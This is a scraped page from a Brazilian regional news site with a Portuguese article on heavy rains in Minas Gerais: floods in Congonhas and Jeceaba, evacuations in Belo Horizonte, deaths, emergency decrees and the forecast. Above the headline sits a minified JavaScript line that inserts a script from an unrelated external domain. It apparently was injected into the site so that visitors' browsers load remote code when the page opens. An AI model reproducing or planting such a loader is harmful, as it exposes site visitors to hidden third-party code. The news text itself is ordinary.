;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Grande BH, Sul e Zona da Mata são áreas mais atingidas pela chuva em Minas - Portal Carangola

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Grande BH, Sul e Zona da Mata são áreas mais atingidas pela chuva em Minas

A Região Metropolitana de Belo Horizonte, o Sul de Minas e a Zona da Mata são as regiões onde estão ocorrendo mais estragos por conta das chuvas e requerem mais atenção das Defesas Civis do municípios e do Estado. Além do trabalho específico de cada prefeitura, a Coordenadoria Estadual de Defesa Civil (Cedec) está com equipes para apoiar três regiões muito atingidas: Uma em Ervália e Senador Firmino, outra em Muriaé e região e a terceira em Congonhas e Itabira.

Em Congonhas, o alagamento começou às 18h de terça. De acordo com o assessor da Defesa Civil do município, José Afonso Niquini, são 9 equipes trabalhando apenas na manhã desta quarta e já ocorreram 20 resgates. Cerca de 200 pessoas estão desabrigadas. A maior parte está na escola municipal Maria Augusta Monteiro. O comércio da cidade parou assim como em Jeceaba, que tem 200 desabrigados. A cidade não tem água potável – sai barro das torneiras – e nem botas ou capas de chuva para vender. O município, que chegou a ficar isolado por causa da chuva, deve receber apoio a partir de Congonhas.

De acordo com o capitão Edilan Arruda, coordenador do Cedec, a responsabilidade de prevenção e atendimento inicial é do município. “É importante que os prefeitos comecem a atentar para a importância de ter uma Defesa Civil Municipal atuante e forte”, afirma. Para ele, o período chuvoso de 2008 só está começando e ainda não pode ser considerado mais alarmante que o de 2007.

Até esta quarta-feira, 10 pessoas morreram por causa das chuvas e 32 cidades decretaram situação de emergência, número que deve aumentar nesta quinta.

Capital

Em Belo Horizonte, o número de pedidos de vistorias e atendimento pulou de 139 para 262. Entre eles, riscos de deslizamento e desabamentos, deslizamentos, trincas e infiltrações em moradias em toda a capital. O número de famílias removidas mais que dobrou. Serão treze remoções temporárias e seis definitivas nos bairros Taquaril, onde ocorreram seis casos, Alto Vera Cruz, Morro das Pedras, Cabana do Pai Tomaz, Aglomerado da Serra.

Desde o mês de setembro, já foram feitas 135 indicações de remoções preventivas, sendo 96 definitivas e 39 temporárias.

Previsão

Do começo de dezembro até agora – praticamente metade do mês – várias cidades já passaram da média de chuva esperada. A cidade com maior registro de chuva foi Viçosa (368,9mm), 51% acima da média para o mês. Belo Horizonte já atingiu a média do mês, que é de 319,4mm. Na Zona da Mata, Barbacena teve 267,8mm e Caparaó, 272,2mm, 18% acima da média.

“A tendência é de que ocorra uma diminuição do volume a partir de amanhã em comparação com últimos três dias, onde a atuação de uma frente fria agravou o quadro, mas “aqinda há previsão de chuva em volumes significativos até sexta-feira”, diz o meteorologista Adelmo Correa, do MG-Tempo.

Segundo ele, a região com maior índice de chuvas de terça para quarta é a Centro-Sul da Grande BH, que alcança Nova Lima e adjacências. Na região da Pampulha choveu, no mesmo período, 115 mm e em Contagem 63mm.

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